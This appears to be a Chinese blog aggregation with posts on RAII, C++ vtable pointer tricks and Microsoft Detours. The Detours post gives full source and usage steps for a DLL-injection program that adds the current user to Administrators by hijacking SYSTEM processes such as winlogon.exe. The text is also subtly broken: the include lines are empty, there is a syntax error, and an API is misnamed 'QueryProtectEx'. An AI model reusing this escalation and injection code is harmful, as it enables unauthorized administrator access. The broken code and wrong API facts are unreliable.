RAII是什么？来源于金庆的专栏

codeArt — Sat, 06 Nov 2010 09:30:00 GMT

摘自《Extended STL》中译

RAII：资源获取即初始化

资源获取即初始化（RAII, Resource Acquisition Is Initialization）是指，当你获得一个资源的时候，不管这个资源是对象、内存、文件句柄或者其它什么，你都会在一个对象的构造函数中获得它，并且在该对象的析构函数中释放它。实现这种功能的类，我们就说它采用了"资源获取即初始化（RAII）"的方式。这样的类常常被称为封装类。

可以依据资源可变性和资源来源这两个特征，来对RAII进行分类。

资源可变性

如果一个封装类对其实例提供额外的功能，使得其实例能被赋予新资源，这个类表现出的这种特征即称为"可变的RAII"，否则就是"不可变的RAII"。

不可变的RAII，是使用起来最简单的一种。说它简单，是因为在这种情况下，无需在封装类中提供用于指定资源的方法--不管是新分配的资源，还是对其他资源进行拷贝。这种RAII还意味着，类的析构函数总是可以假定，被封装的资源是有效的。

与此相反，提供可变的RAII的类，就需要实现下列功能中的绝大部分，或者全部：缺省的或者空的构造函数，拷贝构造函数，拷贝赋值操作，用于指定资源的方法。最重要的是，这样的类在析构函数和任何类似close()的方法中，释放资源前，都必须检测被封装的资源是不是null。

资源来源

对于提供RAII的类来说，第二个重要的特征是，它们通过什么途径获取自己所管理的资源。以std::string为代表的类，使用的是内部初始化的RAII：它管理的资源--即内存中用于保存字符的缓冲区--是由它自己创建的，这一资源对外永远是不可见的。与此不同的是，以std::auto_ptr为代表的类表现出外部初始化的RAII行为：它所管理的资源，是使用它的客户程序（通过另外的某种方式获得之后）交给它的。

内部初始化的RAII的封装类，一般比较容易实现，但是功能上也比较受限制，因为它们获取资源的机制是预先定义好的，并且是固定不变的。不过，这样的类用起来也容易一些，或者说，比较难被误用：因为客户代码几乎没有机会犯下能导致资源泄露的错误。

codeArt 2010-11-06 17:30 发表评论

C++的继承

codeArt — Mon, 30 Aug 2010 17:32:00 GMT

1class base
2{
3public:
4    base(){};
5    ~base(){};
6
7    virtual void func1(){printf("base::func1\r\n");};
8    virtual void func2(){printf("base::func2\r\n");};
9    int ma;
10    int mb;
11    void member_func(){printf("base::member_func\r\n");}
12};
13
14class derive : public base
15{
16public:
17    derive(){};
18    ~derive(){};
19
20    virtual void func1(){printf("derive::func1\r\n");};
21    virtual void func3(){printf("derive::func3\r\n");};
22    virtual void func4(){printf("derive::func4\r\n");};
23
24    int ma2;
25    int mb2;
26
27    void member_func2(){printf("derive::member_func2\r\n");}
28};
29
30class derive2 : public derive
31{
32public:
33    derive2(){};
34    ~derive2(){};
35
36    virtual void func3(){printf("derive2::func3\r\n");};
37    virtual void func4(){printf("derive2::func4\r\n");};
38    virtual void func5(){printf("derive2::func5\r\n");};
39
40    int ma3;
41    int mb3;
42
43    void member_func3(){printf("derive2::member_func3\r\n");}
44};
45int _tmain(int argc, _TCHAR* argv[])
46{
47    typedef void (*Fun)(void);
48
49    Fun pfun = 0;
50    derive2* d2 = new derive2;
51    int* p = (int*)d2;
52    *(p+1) = 20;
53    *(p+2) = 30;
54    *(p+3) = 200;
55    *(p+4) = 300;
56    *(p+5) = 2000;
57    *(p+6) = 30000;
58
59    for (int i = 0; i<5; i++)
60    {
61        Fun pfun = (Fun)*((int*)*(p+0)+i);
62        if (pfun)
63            pfun();
64        else
65            printf("null\r\n");
66     }
67
68    base* b2 = new derive;
69    int* p2 = (int*)b2;
70    pfun = (Fun)*((int*)*(p2+0)+3);
71    pfun();
72
73    return 0;
74}
75

codeArt 2010-08-31 01:32 发表评论

关于Detours[转]

codeArt — Sun, 29 Aug 2010 15:08:00 GMT

Detours是微软开发的一个函数库（源代码可在http://research.microsoft.com/sn/detours 免费获得）, 用于修改运行中的程序在内存中的影像，从而即使没有源代码也能改变程序的行为。具体用途是：

拦截WIN32 API调用，将其引导到自己的子程序，从而实现WIN32 API的定制。
为一个已在运行的进程创建一新线程，装入自己的代码并运行。
本文将简介Detours的原理，Detours库函数的用法，并利用Detours库函数在Windows NT上编写了一个程序，该程序能使有“调试程序”的用户权限的用户成为系统管理员，附录利用Detours库函数修改该程序使普通用户即可成为系统管理员（在NT4 SP3上）。

一． Detours的原理

1． WIN32进程的内存管理

总所周知，WINDOWS NT实现了虚拟存储器，每一WIN32进程拥有4GB的虚存空间，关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册，以下仅指出与Detours相关的几点：

(1) 进程要执行的指令也放在虚存空间中
(2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行，再改写其内容，从而修改正在运行的程序
(3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存，再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行，并把要执行的指令以二进制机器码的形式写入，从而为一个正在运行的进程注入任意的代码

2．拦截WIN32 API的原理

Detours定义了三个概念：

(1) Target函数：要拦截的函数，通常为Windows的API。
(2) Trampoline函数：Target函数的复制品。因为Detours将会改写Target函数，所以先把Target函数复制保存好，一方面仍然保存Target函数的过程调用语义，另一方面便于以后的恢复。
(3) Detour 函数：用来替代Target函数的函数。

Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令（共5个字节）把对Target函数的调用引导到自己的Detour函数，把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下：

拦截前：Target _ Function：
；Target函数入口，以下为假想的常见的子程序入口代码
push   ebp
mov   ebp,   esp
push   eax
push   ebx
Trampoline:
；以下是Target函数的继续部分
……

拦截后： Target _ Function：
jmp   Detour_Function
Trampoline:
；以下是Target函数的继续部分
……

Trampoline_Function:
; Trampoline函数入口, 开头的5个字节与Target函数相同
push   ebp
mov   ebp,   esp
push   eax
push   ebx
；跳回去继续执行Target函数
jmp   Target_Function+5
3．为一个已在运行的进程装入一个DLL

以下是其步骤：

(1) 创建一个ThreadFuction，内容仅是调用LoadLibrary。
(2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存，并把权限更改为可读可写可执行。
(3) 把ThreadFuction的二进制机器码写入这片虚存。
(4) 用CreateRemoteThread在该进程上创建一个线程，传入前面分配的虚存的起始地址作为线程函数的地址，即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。

二． Detours库函数的用法

因为Detours软件包并没有附带帮助文件，以下接口仅从剖析源代码得出。

1． PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

功能：从一DLL中找出一函数的入口地址
参数：pszModule是DLL名，pszFunction是函数名。
返回：名为pszModule的DLL的名为pszFunction的函数的入口地址
说明：DetourFindFunction除使用GetProcAddress外，还直接分析DLL的文件头，因此可以找到一些GetProcAddress找不到的函数入口。

2． DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
功能：该宏把名为target_name 的Target函数生成Trampoline函数，以后调用 trampoline_prototype在语义上等于调用Target函数。

3． BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
功能：用Detour 函数拦截Target函数
参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。

4． BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
功能：恢复Target函数
参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。

5． BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
功能：为一个已在运行的进程装入一个DLL
参数：hProcess是进程的句柄，lpDllName是要装入的DLL名

三．程序实例

以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程，如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等，使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL，因为该DLL在这些进程的安全上下文环境运行，所以有相应的权限。

先编写相应的DLL：

/*admin.dll, 当进程装入时会把名为szAccountName
的用户加入到Administrators本地组。*/

#include
#include
#include
#include

/*以下创建一共享段实现进程间的数据通讯，
szAccountName 是用户名，bPrepared说明
szAccountName是否已初始化。*/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*程序调用SetAccountName设置要加入到Administrators
本地组的用户名，并通知DllMain
已初始化szAccountName ，
以后被装入时可调用ElevatePriv */

__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
    wcscpy(szAccountName,Name);
    bPrepared=TRUE;
}

/*把名为szAccountName的用户加入
到Administrators本地组*/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname=szAccountName;
    NetLocalGroupAddMembers(NULL,L"Administrators",
        3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
        DWORD dwReason, PVOID lpReserved)
{
    switch (dwReason) {
   case DLL_THREAD_ATTACH:
       if (bPrepared)
           ElevatePriv();
    }
    return TRUE;
}

程序如下：

/*AddMeToAdministrators.exe 把当前用户加入到
Administrators本地组。使用方法为：（1）
运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID （2）执行AddMeToAdministrators.exe procid, 其中procid为（1）记下的进程ID （3）签退再签到，运行用户管理器，即可发现自己已在Administrators本地组中。*/

#include
#include
#include
#include
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用户名称*/

void GetCurrentUser(wchar_t *szName)
{
    HANDLE hProcess, hAccessToken;
    wchar_t InfoBuffer[1000],szAccountName[200],
        szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200,
        dwDomainSize = 200;
    SID_NAME_USE snu;

    hProcess = GetCurrentProcess();

    OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

    GetTokenInformation(hAccessToken,TokenUser,
        InfoBuffer,
        1000, &dwInfoBufferSize);

    LookupAccountSid(NULL, pTokenUser->User.Sid,
        szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);
    wcscpy(szName,szDomainName);
    wcscat(szName,L"\");
        wcscat(szName,szAccountName);
}

/* EnablePrivilege启用自己的“调试程序”的用户权限*/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES, &hToken))
        return FALSE;
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    LookupPrivilegeValue(NULL, szPrivName,
        &tp.Privileges[0].Luid);
    tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
    AdjustTokenPrivileges(hToken, FALSE, &tp,
        sizeof(tp), NULL, NULL);
    return((GetLastError() == ERROR_SUCCESS));
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
                   LPSTR lpszCmdLine, int
                   nCmdShow)
{
    INT argc;
    WCHAR **argv;
    argv = CommandLineToArgvW(GetCommandLineW(),
        &argc);
    INT nProcessId = -1;
    if (argc!=2){
        wprintf(L"usage %s pid", argv[0]);
        return 1;
    }
    nProcessId = _wtoi(argv[1]);
    printf("%d ",nProcessId);
    /*要成功执行ContinueProcessWithDll，要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限，EnablePrivilege使本进程有这样的权利。*/

    if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
        printf("AdjustTokenPrivilege Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    HANDLE   gNewHandle =
        OpenProcess(PROCESS_ALL_ACCESS
        , TRUE, nProcessId);
    if (!gNewHandle){
        printf("OpenProcess Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    wchar_t szName[100];
    GetCurrentUser(szName);
    SetAccountName(szName);
    If (!ContinueProcessWithDll(gNewHandle,
        L"c:\temp\admin.dll")) {
            printf("ContinueProcessWithDll failed %u",
                (UINT)GetLastError());
            return 3;
    }
    return 0;
}
因为“调试程序”的用户权限缺省情况下仅赋予给管理员，因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限，只能授予给可信用户。

四．结论      Detours是一强大的工具，提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。